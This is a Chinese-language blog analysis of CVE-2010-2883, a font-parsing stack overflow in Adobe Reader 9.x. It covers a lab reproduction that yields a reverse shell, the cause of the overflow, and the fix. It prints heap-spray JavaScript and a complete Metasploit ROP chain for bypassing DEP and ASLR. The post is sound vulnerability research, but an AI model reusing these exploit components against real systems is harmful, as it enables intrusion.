CVE-2010-2883分析

@lzeroyuee  October 1, 2020

CVE-2010-2883

漏洞简介

Adobe Reader的CoolType.dll库解析字体文件SING表中的uniqueName字段时存在栈溢出,可执行代码,影响Adobe Reader 9.4之前的9.x系列版本和Adobe Reader 8.2.5之前的8.x系列版本

1.png

漏洞复现

环境说明
Kali LInux攻击机,192.168.71.134:23333
WIndows 7 旗舰版 SP1靶机
Adobe Reader 9.3.4漏洞软件,版本号9.3.4

利用MSF生成exp,并监听192.168.71.134:23333,等待靶机连接

2.png

将exp放入靶机中运行,靶机上线

3.png

漏洞分析

PDF格式

参考:PDF 文档结构

PDF的组成

PDF文件由四部分组成:

  1. Header:头部,PDF文件第一行,用于标识版本信息
  2. Body:主体,由一系列PDF对象组成

    7 0 obj        // 7 - 对象ID, 0 - 生成号,一般固定
    <<
    ........    // 对象内容, 如果其中要引用其他对象,则写成:8 0 R(引用8号对象,R代表引用)
    >>
    endobj
  3. Xref table:交叉引用表,包含指向所有对象的文件偏移的列表

    xref
    i j        // 从i号对象开始,一共j个
    nnnnnnnnnn ggggg N eol    // n - 对象在文件中的偏移, g - 生成号, N - n/f(使用/空闲)
    nnnnnnnnnn ggggg N eol
    ...
  4. Trailer:包含文件的根节点信息和文件解析的起点信息

PDF文件的解析流程

  1. 读取文件末尾Trailer,获得根节点信息
  2. 通过根节点获得所有页面的对象集合
  3. 根据用户转到第几页,解析此页上所有的对象
  4. 通过渲染引擎将页面显示出来

由于此漏洞是与字体相关,找到在exp中有关字体描述的部分:

7 0 obj
<<
    /Type /Font                        // 字体对象
    /Subtype /TrueType                // TrueType类型
    /Name /F1
    /BaseFont /Cinema                // 基于Cinema字体
    /Widths []
    /FontDescriptor 9 0 R            // 字体描述,引用了9号对象
    /Encoding /MacRomanEncoding        // MacRoman编码
>>
endobj

9 0 obj
<<
    /Type /FontDescriptor            // 字体描述对象
    /FontName /Cinema                // Cinema字体
    /Flags 131140
    /FontBBox [-177 -269 1123 866]
    /FontFile2 10 0 R                // 字体文件,引用10号对象
>>

将10号对象dump下来并查看

4.png

可得到TTF文件,解析其格式,注意:TTF文件以大端表示

// TTF文件开头是 OffsetTable 结构,后续跟着 EntryTable 结构数组
struct OffsetTable {
    ULONG SFNT_Ver;            // 版本
    USHORT numTables;        // 后续跟着多少个EntryTable
    USHORT searchRange;
    USHORT entrySelector;
    USHORT rangeShift;
}

struct EntryTable {
    union Tag {                // 4字节的标识符,对于SING表,此值为 SING
        char asChar[4];
        ULONG asLong
    };
    ULONG checkSum;            // 校验和,对于SING表,此值为 0xD9BCC8B5
    ULONG offset;            // 偏移,对于SING表,此值为 0x11C
    ULONG length;            // 长度,对于SING表,此值为 0x1DDF
}

5.png

根据SING表的数据,可以找到SING真实的数据,在文件偏移0x11C处,SING数据结构如下:

6.png

漏洞成因

CoolType.dll库对SING表解析中对uniqueName字段长度没做检查,导致栈溢出

用IDA静态分析,查找SING表的Tag标志,存在如下交叉引用

7.png

逐个查看,溢出点存在于sub_803DCF9中,由于在strcat字符串拼接操作时,没有对参数SingTable.uniqueName长度进行检查,可以造成栈溢出

8.png

动态调试,执行完strcat之后在目标缓冲区下内存访问断点

![](.img9.png)

接着运行,最终会断在0x808B308call dword ptr [eax]处,反推上方的大jmp不会执行,必然在jnz指令处会执行跳转

此时观察各寄存器的值,在call之前edi的值未改变,由edi的值计算决定eax的值

10.png

接着栈回溯,可知如下调用链:

sub_803DCF9
    |- strcat - 栈溢出
    |- sub_8016BDE
        |- sub_801BB21
            |- sub_808B116
                | - 触发执行ShellCode

在sub_808B116中,栈溢出将dword ptr [edi + 0x3c]所指向内存的内容替换了,而导致call dword ptr [eax]正常流程被劫持

后续单步步入,执行ROP链,流程如下:

11.png

堆喷射在PDF对象11号中,引用了12号对象,为JavaScript脚本

17.png

将其dump下来查看

var payload = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%
// ... 中间省略 ...
4%u5e4c%u9e69%u5fed%u7ea0%u60b3%u5b47%u1a44%u5c28%udba5%u3920%udba6%u3f4c%u0d9b%u3575%u8dda%u46c2%ub369%ucd63%ue791%uc474' );
var block = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );   // or al, 0x0c
while (block.length + 20 + 8 < 65536) 
    block += block;
/*
(0x0c0c - 0x24): 
    -0x20 -> 堆块信息
    -0x4 -> payload前4字节是0x41414141
    为了使payload + 0x4刚好落在每个堆块的0x0c0c偏移处
*/
SP = block.substring(0, (0x0c0c - 0x24) / 2);     // 0 - 5F4
SP += payload;    // payload.length = 0x2BC
SP += block;
slackspace = SP.substring(0, 65536 / 2);
while(slackspace.length < 0x80000)
    slackspace += slackspace;
bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2);    // 0 - 7F7F4
var memory = new Array();
for (count = 0; count < 0x1f0; count++)     // 分配了0x1f0块大内存
    memory[count] = bigblock + "s";

对每个申请的堆块进行填充,让其偏移0x0c0c的位置刚好被payload + 0x4处覆盖到

20.png

进入堆喷射代码,接着执行ROP链

; ....
; ....
; eax = CreateFileA
4A801F90    58              pop     eax                              ; <&KERNEL32.CreateFileA>
4A801F91    C3              retn
; 调用 CreateFileA
4A80B692  - FF20            jmp     dword ptr [eax]                  ; kernel32.CreateFileA

调用CreateFileA创建了文件iso88591,访问属性为GENERIC_ALL(0x10000000),之后返回到icucnv36.4A801064

12.png

返回后进入ROP链

; ....
; ....

; eax = CreateFileMappingA
4A801F90    58              pop     eax                              ; <&KERNEL32.CreateFileMappingA>
4A801F91    C3              retn
; 调用 CreateFileMappingA
4A80B692  - FF20            jmp     dword ptr [eax]                  ; kernel32.CreateFileMappingA

创建文件映射对象,访问属性PAGE_EXECUTE_READWRITE(0x40),大小0x10000,之后返回到icucnv36.4A801064

13.png

返回后进入ROP链

; ....
; ....

; eax = MapViewOfFile
4A801F90    58              pop     eax                              ; <&KERNEL32.MapViewOfFile>
4A801F91    C3              retn
; 调用 MapViewOfFile
4A80B692  - FF20            jmp     dword ptr [eax]                  ; kernel32.MapViewOfFile

创建映射视图,访问权限FILE_MAP_WRITE | FILE_MAP_EXECUTE (0x22),大小0x10000,之后返回到icucnv36.4A801064

14.png

再次进入ROP链

; ....
; ....

; eax = memcpy
4A801F90    58              pop     eax                              ; <&MSVCR80.memcpy>
4A801F91    C3              retn
; 调用 memcpy
4A80B692  - FF20            jmp     dword ptr [eax]                  ; msvcr80.memcpy

执行memcpy,将源缓冲区数据(ShellCode),拷贝到目标缓冲区中(前面文件映射出的缓冲区),之后返回到目标缓冲区首地址处执行ShellCode,以此绕过DEP

15.png

同时,ROP链存在于icucnv36.dll库中,此库默认情况下的装载位置不会改变,也就绕过了ASLR

16.png

最后,MSF的exp如下:

stack_data = [
    0x41414141,   # unused
    0x4a8063a5,   # pop ecx / ret
    0x4a8a0000,   # becomes ecx

    0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as

    0x4a801f90,   # pop eax / ret
    0x4a84903c,   # becomes eax (import for CreateFileA)

    # -- call CreateFileA
    0x4a80b692,   # jmp [eax]

    0x4a801064,   # ret

    0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
    0x10000000,   # second arg  - dwDesiredAccess
    0x00000000,   # third arg   - dwShareMode
    0x00000000,   # fourth arg  - lpSecurityAttributes
    0x00000002,   # fifth arg   - dwCreationDisposition
    0x00000102,   # sixth arg   - dwFlagsAndAttributes
    0x00000000,   # seventh arg - hTemplateFile

    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx

    0x4a842db2,   # xchg eax,edi / ret

    0x4a802ab1,   # pop ebx / ret
    0x00000008,   # becomes ebx - offset to modify

    #
    # This points at a neat-o block of code that ... TBD
    #
    #   and [esp+ebx*2],edi
    #   jne check_slash
    # ret_one:
    #   mov al,1
    #   ret
    # check_slash:
    #   cmp al,0x2f
    #   je ret_one
    #   cmp al,0x41
    #   jl check_lower
    #   cmp al,0x5a
    #   jle check_ptr
    # check_lower:
    #   cmp al,0x61
    #   jl ret_zero
    #   cmp al,0x7a
    #   jg ret_zero
    #   cmp [ecx+1],0x3a
    #   je ret_one
    # ret_zero:
    #   xor al,al
    #   ret
    #

    0x4a80a8a6,   # execute fun block

    0x4a801f90,   # pop eax / ret
    0x4a849038,   # becomes eax (import for CreateFileMappingA)

    # -- call CreateFileMappingA
    0x4a80b692,   # jmp [eax]

    0x4a801064,   # ret

    0xffffffff,   # arguments to CreateFileMappingA, hFile
    0x00000000,   # lpAttributes
    0x00000040,   # flProtect
    0x00000000,   # dwMaximumSizeHigh
    0x00010000,   # dwMaximumSizeLow
    0x00000000,   # lpName

    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx

    0x4a842db2,   # xchg eax,edi / ret

    0x4a802ab1,   # pop ebx / ret
    0x00000008,   # becomes ebx - offset to modify

    0x4a80a8a6,   # execute fun block

    0x4a801f90,   # pop eax / ret
    0x4a849030,   # becomes eax (import for MapViewOfFile

    # -- call MapViewOfFile
    0x4a80b692,   # jmp [eax]

    0x4a801064,   # ret

    0xffffffff,   # args to MapViewOfFile - hFileMappingObject
    0x00000022,   # dwDesiredAccess
    0x00000000,   # dwFileOffsetHigh
    0x00000000,   # dwFileOffsetLow
    0x00010000,   # dwNumberOfBytesToMap

    0x4a8063a5,   # pop ecx / ret
    0x4a8a0004,   # becomes ecx - writable pointer

    0x4a802196,   # mov [ecx],eax / ret - save map base addr

    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret

    0x4a842db2,   # xchg eax,edi / ret

    0x4a802ab1,   # pop ebx / ret
    0x00000030,   # becomes ebx - offset to modify

    0x4a80a8a6,   # execute fun block

    0x4a801f90,   # pop eax / ret
    0x4a8a0004,   # becomes eax - saved file mapping ptr

    0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr

    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret

    0x4a842db2,   # xchg eax,edi / ret

    0x4a802ab1,   # pop ebx / ret
    0x00000020,   # becomes ebx - offset to modify

    0x4a80a8a6,   # execute fun block

    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret

    0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

    0x4a801f90,   # pop eax / ret
    0x00000034,   # becomes eax

    0x4a80d585,   # add eax,edx / ret

    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret

    0x4a842db2,   # xchg eax,edi / ret

    0x4a802ab1,   # pop ebx / ret
    0x0000000a,   # becomes ebx - offset to modify

    0x4a80a8a6,   # execute fun block

    0x4a801f90,   # pop eax / ret
    0x4a849170,   # becomes eax (import for memcpy)

    # -- call memcpy
    0x4a80b692,   # jmp [eax]

    0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
    0xffffffff,   # becomes first arg to memcpy (dst)
    0xffffffff,   # becomes second arg to memcpy (src)
    0x00001000,   # becomes third arg to memcpy (length)
    #0x0000258b,   # ??
    #0x4d4d4a8a,   # ??
    ].pack('V*')

漏洞修复

在Adobe Reader 9.4中,将strcpy函数替换为了sub_sub_813391E函数,内部使用了strncpy,对缓冲区剩余长度进行了检查,并限定了缓冲区总长度为260个字节

18.png

19.png


添加新评论